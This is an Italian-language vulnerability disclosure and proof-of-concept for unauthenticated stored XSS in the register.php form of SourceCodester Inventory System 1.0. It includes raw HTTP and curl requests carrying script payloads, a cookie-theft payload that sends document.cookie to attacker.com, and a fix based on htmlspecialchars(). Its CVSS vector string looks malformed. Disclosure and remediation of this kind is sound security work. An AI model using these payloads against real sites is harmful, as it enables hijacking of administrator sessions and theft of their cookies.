
Proof-of-concept per XSS memorizzato non autenticato in SourceCodester Inventory System, che dimostra il dirottamento della sessione dell'amministratore tramite payload di registrazione appositamente creati.
| Campo | Dettagli |
|---|
| Tipo di vulnerabilità | Cross-Site Scripting persistente (XSS) |
| Applicazione interessata | Inventory System using PHP and MySQL |
| Fornitore | SourceCodester |
| Versione interessata | 1.0 |
| File interessato | register.php |
| Parametri | fullname, username |
| Autenticazione richiesta | No (non autenticato) |
| Impatto | Dirottamento della sessione dell'amministratore, esecuzione di script dannosi nel pannello di amministrazione |
| Punteggio CVSS | 8.8 (Alto) |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C:C/H:I/H:A:N |
Il Inventory System using PHP and MySQL di SourceCodester (presentato il 23 maggio 2026) è vulnerabile a Cross-Site Scripting (XSS) persistente non autenticato nel modulo di registrazione dello staff (register.php).
I campi di input fullname e username non sanificano né codificano l'input fornito dall'utente prima di salvarlo nel database. Quando un amministratore visita la pagina Gestione utenti (users.php), i payload non sanificati vengono renderizzati direttamente nel contesto HTML, causando l'esecuzione immediata di JavaScript nella sessione del browser dell'amministratore.
Poiché la registrazione non richiede autenticazione, un attaccante remoto non autenticato può iniettare JavaScript arbitrario che verrà eseguito nel contesto di qualsiasi amministratore che visualizzi il pannello di Gestione utenti.
/product_inventory/register.php — non è richiesto alcun login.fullname e/o username./product_inventory/users.php, il payload viene eseguito automaticamente nel browser dell'amministratore.http://<TARGET>/product_inventory/register.php
Payload del campo Nome completo:
<script>alert(1)</script>
Payload del campo Nome utente:
<script>alert(2)</script>
Password: qualsiasi valore (ad es. test1234)
POST /product_inventory/register.php HTTP/1.1
Host: <TARGET>
Content-Type: application/x-www-form-urlencoded
fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit=
equivalente curl:
curl -X POST "http://<TARGET>/product_inventory/register.php" \
-d "fullname=<script>alert(1)</script>&username=<script>alert(2)</script>&password=test1234&submit="
Accedi come amministratore e vai a:
http://<TARGET>/product_inventory/users.php
Entrambi i payload vengono eseguiti immediatamente al caricamento della pagina.
Un attaccante non autenticato può:
Esempio di payload per il furto del cookie di sessione (sostituire con il server dell'attaccante):
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>


La vulnerabilità esiste perché register.php inserisce l'input utente direttamente nel database senza sanificazione, e users.php restituisce i valori salvati senza codifica tramite htmlspecialchars().
Pattern vulnerabile in users.php (approssimativo):
// Unsafe — outputs raw database value directly into HTML
echo $row['fullname'];
echo $row['username'];
Correzione — applicare la codifica in output:
echo htmlspecialchars($row['fullname'], ENT_QUOTES, 'UTF-8');
echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8');
Inoltre, l'input dovrebbe essere sanificato al momento dell'inserimento in register.php utilizzando strip_tags() o statement preparati con una corretta validazione.
htmlspecialchars() con ENT_QUOTES prima di renderizzare i dati forniti dall'utente in HTML.Segnalato da Syed Imad Uddin Alvi — Ricercatore di sicurezza indipendente